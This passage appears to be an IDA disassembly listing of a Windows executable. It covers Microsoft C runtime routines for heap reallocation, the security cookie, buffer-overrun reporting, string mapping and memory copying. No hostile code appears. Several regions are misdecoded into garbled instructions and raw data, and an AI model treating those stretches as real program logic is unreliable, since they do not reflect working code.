		jmp	loc_403C95
; ---------------------------------------------------------------------------

loc_403B51:				; CODE XREF: sub_403B37+9j
		push	esi
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_403B66
		push	ebx
		call	sub_4028F6
		pop	ecx
		jmp	loc_403C92
; ---------------------------------------------------------------------------

loc_403B66:				; CODE XREF: sub_403B37+21j
		cmp	ds:dword_407764, 3
		jnz	loc_403C5E

loc_403B73:				; CODE XREF: sub_403B37+11Bj
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_403C40
		push	ebx
		call	sub_402D45
		mov	ebp, eax
		test	ebp, ebp
		pop	ecx
		jz	loc_403C1F
		cmp	esi, ds:dword_40751C
		ja	short loc_403BDF
		push	esi
		push	ebx
		push	ebp
		call	sub_403245
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403BAA
		mov	edi, ebx
		jmp	short loc_403BDB
; ---------------------------------------------------------------------------

loc_403BAA:				; CODE XREF: sub_403B37+6Dj
		push	esi
		call	sub_403524
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_403BDF
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_403BC1
		mov	eax, esi

loc_403BC1:				; CODE XREF: sub_403B37+86j
		push	eax
		push	ebx
		push	edi
		call	sub_4029C0
		push	ebx
		call	sub_402D45
		mov	ebp, eax
		push	ebx
		push	ebp
		call	sub_402D70
		add	esp, 18h

loc_403BDB:				; CODE XREF: sub_403B37+71j
		test	edi, edi
		jnz	short loc_403C1B

loc_403BDF:				; CODE XREF: sub_403B37+5Ej
					; sub_403B37+7Ej
		test	esi, esi
		jnz	short loc_403BE4
		inc	esi

loc_403BE4:				; CODE XREF: sub_403B37+AAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_407760
		call	ds:dword_405084	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_403C1B
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_403C09
		mov	eax, esi

loc_403C09:				; CODE XREF: sub_403B37+CEj
		push	eax
		push	ebx
		push	edi
		call	sub_4029C0
		push	ebx
		push	ebp
		call	sub_402D70
		add	esp, 14h

loc_403C1B:				; CODE XREF: sub_403B37+A6j
					; sub_403B37+C6j
		test	ebp, ebp
		jnz	short loc_403C3C

loc_403C1F:				; CODE XREF: sub_403B37+52j
		test	esi, esi
		jnz	short loc_403C24
		inc	esi

loc_403C24:				; CODE XREF: sub_403B37+EAj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_407760
		call	ds:dword_40508C	; RtlReAllocateHeap
		mov	edi, eax

loc_403C3C:				; CODE XREF: sub_403B37+E6j
		test	edi, edi
		jnz	short loc_403C5A

loc_403C40:				; CODE XREF: sub_403B37+41j
		cmp	ds:dword_40750C, 0
		jz	short loc_403C5A
		push	esi
		call	sub_4043F5
		test	eax, eax
		pop	ecx
		jnz	loc_403B73
		jmp	short loc_403C92
; ---------------------------------------------------------------------------

loc_403C5A:				; CODE XREF: sub_403B37+107j
					; sub_403B37+110j
		mov	eax, edi
		jmp	short loc_403C94
; ---------------------------------------------------------------------------

loc_403C5E:				; CODE XREF: sub_403B37+36j
					; sub_403B37+159j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_403C7E
		test	esi, esi
		jnz	short loc_403C6A
		inc	esi

loc_403C6A:				; CODE XREF: sub_403B37+130j
		push	esi
		push	ebx
		push	0
		push	ds:dword_407760
		call	ds:dword_40508C	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_403C94

loc_403C7E:				; CODE XREF: sub_403B37+12Cj
					; sub_403CD1:loc_403CF1j
		cmp	ds:dword_40750C, 0
		jz	short loc_403C94
		push	esi
		call	sub_4043F5
		test	eax, eax
		pop	ecx
		jnz	short loc_403C5E

loc_403C92:				; CODE XREF: sub_403B37+2Aj
					; sub_403B37+121j
		xor	eax, eax

loc_403C94:				; CODE XREF: sub_403B37+125j
					; sub_403B37+145j ...
		pop	esi

loc_403C95:				; CODE XREF: sub_403B37+15j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_403B37	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C99	proc near		; CODE XREF: seg000:00402014p

arg_0		= dword	ptr  4

		cmp	ds:dword_407764, 3
		push	esi
		jnz	short loc_403CBD
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_402D45
		test	eax, eax
		pop	ecx
		jz	short loc_403CBA
		mov	eax, [esi-4]
		sub	eax, 9
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_403CBA:				; CODE XREF: sub_403C99+17j
		push	esi
		jmp	short loc_403CC1
; ---------------------------------------------------------------------------

loc_403CBD:				; CODE XREF: sub_403C99+8j
		push	[esp+4+arg_0]

loc_403CC1:				; CODE XREF: sub_403C99+22j
		push	0
		push	ds:dword_407760
		call	ds:dword_40509C	; RtlSizeHeap
		pop	esi
		retn
sub_403C99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CD1	proc near		; DATA XREF: seg002:00407004o

var_10		= byte ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, ds:dword_4071C0
		test	eax, eax
		jz	short loc_403CE7
		cmp	eax, 0BB40E64Eh
		jnz	short locret_403D35

loc_403CE7:				; CODE XREF: sub_403CD1+Dj
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 0BF0004h

loc_403CF1:				; CODE XREF: sub_403CD1+22j
		jnp	short loc_403C7E
		jnz	short loc_403CF1
		xor	esi, [ebp+var_8]
		call	near ptr 0C10004h
		inc	edi
		xor	esi, eax
		call	near ptr 0C30004h
		xchg	eax, ecx
		xor	esi, eax
		call	ds:dword_4050A4	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 0C50004h
		xchg	cl, [ebx+4533F445h]
		lock xor esi, eax
		mov	ds:dword_4071C0, esi
		jnz	short loc_403D34
		mov	ds:dword_4071C0, 0BB40E64Eh

loc_403D34:				; CODE XREF: sub_403CD1+57j
		pop	esi

locret_403D35:				; CODE XREF: sub_403CD1+14j
		leave
		retn
sub_403CD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403D37	proc near		; CODE XREF: seg000:0040249Fp
		push	118h
		push	offset dword_405778
		call	sub_401E78
sub_403D37	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:dword_4071C0
		mov	[ebp-1Ch], eax
		mov	eax, ds:dword_4074DC
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_403D78
		mov	[ebp-4], ecx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		pop	ecx
		pop	ecx

loc_403D66:				; CODE XREF: seg000:00403D76j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_403E77
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	short loc_403D66
; ---------------------------------------------------------------------------

loc_403D78:				; CODE XREF: seg000:00403D57j
		mov	eax, [ebp+8]
		dec	eax
		jz	short loc_403D94
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_403DA8
; ---------------------------------------------------------------------------

loc_403D94:				; CODE XREF: seg000:00403D7Cj
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h

loc_403DA8:				; CODE XREF: seg000:00403D92j
		mov	[ebp-20h], cl
		push	104h
		lea	eax, [ebp-124h]
		push	eax
		push	ecx
		call	near ptr 0C70004h
		enter	0FFFFC085h, 75h
		adc	ebp, [eax+1Ch]
		push	ebp
		inc	eax
		add	[ebp-1237Bh], cl
		call	dword ptr [eax-18h]
		std
		jecxz	short near ptr loc_403DD0+1 ; CODE XREF: seg000:loc_403DD0j
		call	fword ptr [ecx+59h]
		lea	ebx, [ebp-124h]
		mov	eax, ebx
		push	eax
		call	sub_402400
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_403E11
		mov	eax, ebx
		push	eax
		call	sub_402400
		mov	ebx, eax
		lea	eax, [ebp-124h]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset dword_405518
		push	ebx
		call	sub_4022D0
		add	esp, 10h

loc_403E11:				; CODE XREF: seg000:00403DEAj
		push	ebx
		call	sub_402400
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_401FD0
		mov	[ebp-18h], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_4021D0
		mov	edi, offset asc_4054F8 ; "\n\n"
		push	edi
		push	esi
		call	sub_4021E0
		push	offset dword_4055D4
		push	esi
		call	sub_4021E0
		push	ebx
		push	esi
		call	sub_4021E0
		push	edi
		push	esi
		call	sub_4021E0
		push	dword ptr [ebp-128h]
		push	esi
		call	sub_4021E0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_4020C9
		add	esp, 3Ch

loc_403E77:				; CODE XREF: seg000:00403D6Aj
		push	3
		call	sub_401435
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403E7F	proc near		; CODE XREF: sub_402566+C5p
					; sub_402566+EDp
		push	38h
		push	offset dword_405C90
		call	sub_401E78
; ---------------------------------------------------------------------------
		xor	ebx, ebx
		cmp	ds:dword_407500, ebx
		jnz	short loc_403ECD
		push	ebx
		push	ebx
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_405C8C
		push	100h
		push	ebx
		call	ds:dword_4050BC	; LCMapStringW
		test	eax, eax
		jz	short loc_403EB8
		mov	ds:dword_407500, esi
		jmp	short loc_403ECD
; ---------------------------------------------------------------------------

loc_403EB8:				; CODE XREF: sub_403E7F+2Fj
		call	ds:dword_405054	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_403ECD
		mov	ds:dword_407500, 2

loc_403ECD:				; CODE XREF: sub_403E7F+14j
					; sub_403E7F+37j ...
		cmp	[ebp+14h], ebx
		jle	short loc_403EED
		mov	ecx, [ebp+14h]
		mov	eax, [ebp+10h]

loc_403ED8:				; CODE XREF: sub_403E7F+61j
		dec	ecx
		cmp	[eax], bl
		jz	short loc_403EE5
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_403ED8
		or	ecx, 0FFFFFFFFh

loc_403EE5:				; CODE XREF: sub_403E7F+5Cj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+14h], eax

loc_403EED:				; CODE XREF: sub_403E7F+51j
		mov	eax, ds:dword_407500
		cmp	eax, 2
		jz	loc_4040D7
		cmp	eax, ebx
		jz	loc_4040D7
		cmp	eax, 1
		jnz	loc_40410A
		xor	edi, edi
		mov	[ebp-2Ch], edi
		mov	[ebp-38h], ebx
		mov	[ebp-34h], ebx
		cmp	[ebp+20h], ebx
		jnz	short loc_403F24
		mov	eax, ds:dword_4074F8
		mov	[ebp+20h], eax

loc_403F24:				; CODE XREF: sub_403E7F+9Bj
		push	ebx
		push	ebx
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		xor	eax, eax
		cmp	[ebp+24h], ebx
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_4050B8	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp-30h], esi
		cmp	esi, ebx
		jz	loc_40410A
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_401FD0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-1Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_403F90
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_4049BC
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-2Ch]
		mov	esi, [ebp-30h]

loc_403F90:				; CODE XREF: sub_403E7F+F4j
		cmp	[ebp-1Ch], ebx
		jnz	short loc_403FB1
		lea	eax, [esi+esi]
		push	eax
		call	sub_4029A0
; ---------------------------------------------------------------------------
		pop	ecx
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jz	loc_40410A
		mov	dword ptr [ebp-38h], 1

loc_403FB1:				; CODE XREF: sub_403E7F+114j
		push	esi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_4050B8	; MultiByteToWideChar
		test	eax, eax
		jz	loc_4040B4
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_4050BC	; LCMapStringW
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	edi, ebx
		jz	loc_4040B4
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_404020
		cmp	[ebp+1Ch], ebx
		jz	loc_4040B4
		cmp	edi, [ebp+1Ch]
		jg	loc_4040B4
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	esi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_4050BC	; LCMapStringW
		jmp	loc_4040B4
; ---------------------------------------------------------------------------

loc_404020:				; CODE XREF: sub_403E7F+172j
		mov	dword ptr [ebp-4], 2
		lea	eax, [edi+edi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_401FD0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_40405E
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_4049BC
		xor	ebx, ebx
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-2Ch]
		mov	esi, [ebp-30h]

loc_40405E:				; CODE XREF: sub_403E7F+1C2j
		cmp	[ebp-20h], ebx
		jnz	short loc_40407B
		lea	eax, [edi+edi]
		push	eax
		call	sub_4029A0
; ---------------------------------------------------------------------------
		pop	ecx
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_4040B4
		mov	dword ptr [ebp-34h], 1

loc_40407B:				; CODE XREF: sub_403E7F+1E2j
		push	edi
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_4050BC	; LCMapStringW
		test	eax, eax
		jz	short loc_4040B4
		push	ebx
		push	ebx
		cmp	[ebp+1Ch], ebx
		jnz	short loc_40409E
		push	ebx
		push	ebx
		jmp	short loc_4040A4
; ---------------------------------------------------------------------------

loc_40409E:				; CODE XREF: sub_403E7F+219j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]

loc_4040A4:				; CODE XREF: sub_403E7F+21Dj
		push	edi
		push	dword ptr [ebp-20h]
		push	ebx
		push	dword ptr [ebp+20h]
		call	ds:dword_405050	; WideCharToMultiByte
		mov	edi, eax

loc_4040B4:				; CODE XREF: sub_403E7F+149j
					; sub_403E7F+168j ...
		cmp	[ebp-34h], ebx
		jz	short loc_4040C2
		push	dword ptr [ebp-20h]
		call	sub_4028F6
		pop	ecx

loc_4040C2:				; CODE XREF: sub_403E7F+238j
		cmp	[ebp-38h], ebx
		jz	short loc_4040D0
		push	dword ptr [ebp-1Ch]
		call	sub_4028F6
		pop	ecx

loc_4040D0:				; CODE XREF: sub_403E7F+246j
		mov	eax, edi
		jmp	loc_404232
; ---------------------------------------------------------------------------

loc_4040D7:				; CODE XREF: sub_403E7F+76j
					; sub_403E7F+7Ej
		mov	[ebp-28h], ebx
		xor	edi, edi
		mov	[ebp-3Ch], ebx
		cmp	[ebp+8], ebx
		jnz	short loc_4040EC
		mov	eax, ds:dword_4074E8
		mov	[ebp+8], eax

loc_4040EC:				; CODE XREF: sub_403E7F+263j
		cmp	[ebp+20h], ebx
		jnz	short loc_4040F9
		mov	eax, ds:dword_4074F8
		mov	[ebp+20h], eax

loc_4040F9:				; CODE XREF: sub_403E7F+270j
		push	dword ptr [ebp+8]
		call	sub_4047B0
		pop	ecx
		mov	[ebp-40h], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404111

loc_40410A:				; CODE XREF: sub_403E7F+87j
					; sub_403E7F+CDj ...
		xor	eax, eax
		jmp	loc_404232
; ---------------------------------------------------------------------------

loc_404111:				; CODE XREF: sub_403E7F+289j
		cmp	eax, [ebp+20h]
		jz	loc_404208
		push	ebx
		push	ebx
		lea	ecx, [ebp+14h]
		push	ecx
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+20h]
		call	sub_4047F3
; ---------------------------------------------------------------------------
		dd 8918C483h, 0C33BD845h, 5353D474h, 501475FFh,	0FF0C75FFh
		dd 0BDE80875h, 0CE0088BEh, 7589F08Bh, 0FF33BDCh, 0A284h
		dd 0FC5D8900h, 8303C083h, 6DE8FCE0h, 89FFFFDEh,	0FC8BE865h
		dd 56BC7D89h, 0DDE85753h, 83000005h, 10EB0CC4h,	0C340C033h
		dd 0E8E8658Bh, 838h, 0FF33DB33h, 0FFFC4D83h, 2375FB3Bh
		dd 0E8DC75FFh, 0FFFFE808h, 3BF88B59h, 0FF3174FBh, 5753DC75h
		dd 5A7E8h, 0CC48300h, 1C445C7h,	0FF000000h, 0FF57DC75h
		dd 75FF1475h, 0C75FFD8h, 0E80875FFh, 8ABE3Ch, 0DC45892Bh
		dd 475C33Bh, 26EBF633h,	0FF1C75FFh, 458D1875h, 0FF5750DCh
		dd 75FF2075h, 609E8C0h,	0C4830000h, 0F7F08B18h,	0F7F61BDEh
		dd 8B03EBDEh, 5D39B875h, 572374C4h, 0FFE6F1E8h,	1AEB59FFh
; ---------------------------------------------------------------------------

loc_404208:				; CODE XREF: sub_403E7F+295j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0CD0004h
		xchg	eax, esp
		mov	esi, eax
		cmp	[ebp-28h], ebx
		jz	short loc_404230
		push	dword ptr [ebp-28h]
		call	sub_4028F6
		pop	ecx

loc_404230:				; CODE XREF: sub_403E7F+3A6j
		mov	eax, esi

loc_404232:				; CODE XREF: sub_403E7F+253j
					; sub_403E7F+28Dj
		lea	esp, [ebp-54h]
		call	sub_401EB3
sub_403E7F	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40423B	proc near		; CODE XREF: sub_402566+A1p
					; sub_404B72+4Fp ...
		push	1Ch
		push	offset dword_405CB8
		call	sub_401E78
sub_40423B	endp

; ---------------------------------------------------------------------------
		xor	esi, esi
		cmp	ds:dword_407504, esi
		jnz	short loc_404286
		lea	eax, [ebp-1Ch]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_405C8C
		push	edi
		call	ds:dword_4050C4	; GetStringTypeW
		test	eax, eax
		jz	short loc_404271
		mov	ds:dword_407504, edi
		jmp	short loc_404286
; ---------------------------------------------------------------------------

loc_404271:				; CODE XREF: seg000:00404267j
		call	ds:dword_405054	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_404286
		mov	ds:dword_407504, 2

loc_404286:				; CODE XREF: seg000:0040424Fj
					; seg000:0040426Fj ...
		mov	eax, ds:dword_407504
		cmp	eax, 2
		jz	loc_40437E
		cmp	eax, esi
		jz	loc_40437E
		cmp	eax, 1
		jnz	loc_4043A4
		mov	[ebp-24h], esi
		mov	[ebp-20h], esi
		cmp	[ebp+18h], esi
		jnz	short loc_4042B8
		mov	eax, ds:dword_4074F8
		mov	[ebp+18h], eax

loc_4042B8:				; CODE XREF: seg000:004042AEj
		push	esi
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		xor	eax, eax
		cmp	[ebp+20h], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_4050B8	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp-28h], edi
		test	edi, edi
		jz	loc_4043A4
		and	dword ptr [ebp-4], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_401FD0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-2Ch], esi
		push	ebx
		push	0
		push	esi
		call	sub_404750
		add	esp, 0Ch
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_404329
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_4049BC
		xor	esi, esi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-28h]

loc_404329:				; CODE XREF: seg000:00404312j
		test	esi, esi
		jnz	short loc_404344
		push	edi
		push	2
		call	sub_404A9F
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_4043A4
		mov	dword ptr [ebp-20h], 1

loc_404344:				; CODE XREF: seg000:0040432Bj
		push	edi
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_4050B8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40436C
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_4050C4	; GetStringTypeW
		mov	[ebp-24h], eax

loc_40436C:				; CODE XREF: seg000:00404359j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_404379
		push	esi
		call	sub_4028F6
		pop	ecx

loc_404379:				; CODE XREF: seg000:00404370j
		mov	eax, [ebp-24h]
		jmp	short loc_4043EC
; ---------------------------------------------------------------------------

loc_40437E:				; CODE XREF: seg000:0040428Ej
					; seg000:00404296j
		mov	ebx, [ebp+1Ch]
		cmp	ebx, esi
		jnz	short loc_40438B
		mov	ebx, ds:dword_4074E8

loc_40438B:				; CODE XREF: seg000:00404383j
		mov	edi, [ebp+18h]
		test	edi, edi
		jnz	short loc_404398
		mov	edi, ds:dword_4074F8

loc_404398:				; CODE XREF: seg000:00404390j
		push	ebx
		call	sub_4047B0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4043A8

loc_4043A4:				; CODE XREF: seg000:0040429Fj
					; seg000:004042E0j ...
		xor	eax, eax
		jmp	short loc_4043EC
; ---------------------------------------------------------------------------

loc_4043A8:				; CODE XREF: seg000:004043A2j
		cmp	eax, edi
		jz	short loc_4043CA
		push	0
		push	0
		lea	ecx, [ebp+10h]
		push	ecx
		push	dword ptr [ebp+0Ch]
		push	eax
		push	edi
		call	sub_4047F3
; ---------------------------------------------------------------------------
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4043A4
		mov	[ebp+0Ch], esi

loc_4043CA:				; CODE XREF: seg000:004043AAj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	ebx
		call	near ptr 0CF0004h
		pop	eax
		mov	edi, eax
		test	esi, esi
		jz	short loc_4043EA
		push	esi
		call	sub_4028F6
		pop	ecx

loc_4043EA:				; CODE XREF: seg000:004043E1j
		mov	eax, edi

loc_4043EC:				; CODE XREF: seg000:0040437Cj
					; seg000:004043A6j
		lea	esp, [ebp-38h]
		call	sub_401EB3
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4043F5	proc near		; CODE XREF: seg000:00402993p
					; sub_403B37+113p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_407508
		test	eax, eax
		jz	short loc_40440D
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_40440D
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40440D:				; CODE XREF: sub_4043F5+7j
					; sub_4043F5+12j
		xor	eax, eax
		retn
sub_4043F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404410	proc near		; CODE XREF: sub_402D70+2DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_404430
		cmp	edi, eax
		jb	loc_4045AC

loc_404430:				; CODE XREF: sub_404410+16j
		test	edi, 3
		jnz	short loc_40444C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40446C
		rep movsd
		jmp	ds:off_40455C[edx*4]
; ---------------------------------------------------------------------------

loc_40444C:				; CODE XREF: sub_404410+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_404464
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_40446C+4[eax*4]
; ---------------------------------------------------------------------------

loc_404464:				; CODE XREF: sub_404410+46j
		jmp	dword ptr ds:loc_40456C[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40446C:				; CODE XREF: sub_404410+31j
					; sub_404410+8Ej ...
		jmp	ds:off_4044F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_404480
		dd offset loc_4044AC
; ---------------------------------------------------------------------------
		rol	byte ptr [eax+eax*2+0],	1

loc_404480:				; DATA XREF: sub_404410+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40446C
		rep movsd
		jmp	ds:off_40455C[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4044AC:				; DATA XREF: sub_404410+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40446C
		rep movsd
		jmp	ds:off_40455C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40446C
		rep movsd
		jmp	ds:off_40455C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4044F0	dd offset loc_404553	; DATA XREF: sub_404410:loc_40446Cr
		dd offset loc_404540
		dd offset loc_404538
		dd offset loc_404530
		dd offset loc_404528
		dd offset loc_404520
		dd offset loc_404518
		dd offset loc_404510
; ---------------------------------------------------------------------------

loc_404510:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_404518:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_404520:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_404528:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_404530:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_404538:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_404540:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_404553:				; CODE XREF: sub_404410:loc_40446Cj
					; DATA XREF: sub_404410:off_4044F0o
		jmp	ds:off_40455C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40455C	dd offset loc_40456C	; DATA XREF: sub_404410+35r
					; sub_404410+92r ...
		dd offset loc_404574
		dd offset loc_404580
		dd offset loc_404594
; ---------------------------------------------------------------------------

loc_40456C:				; CODE XREF: sub_404410+35j
					; sub_404410+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_404574:				; CODE XREF: sub_404410+35j
					; sub_404410+92j ...
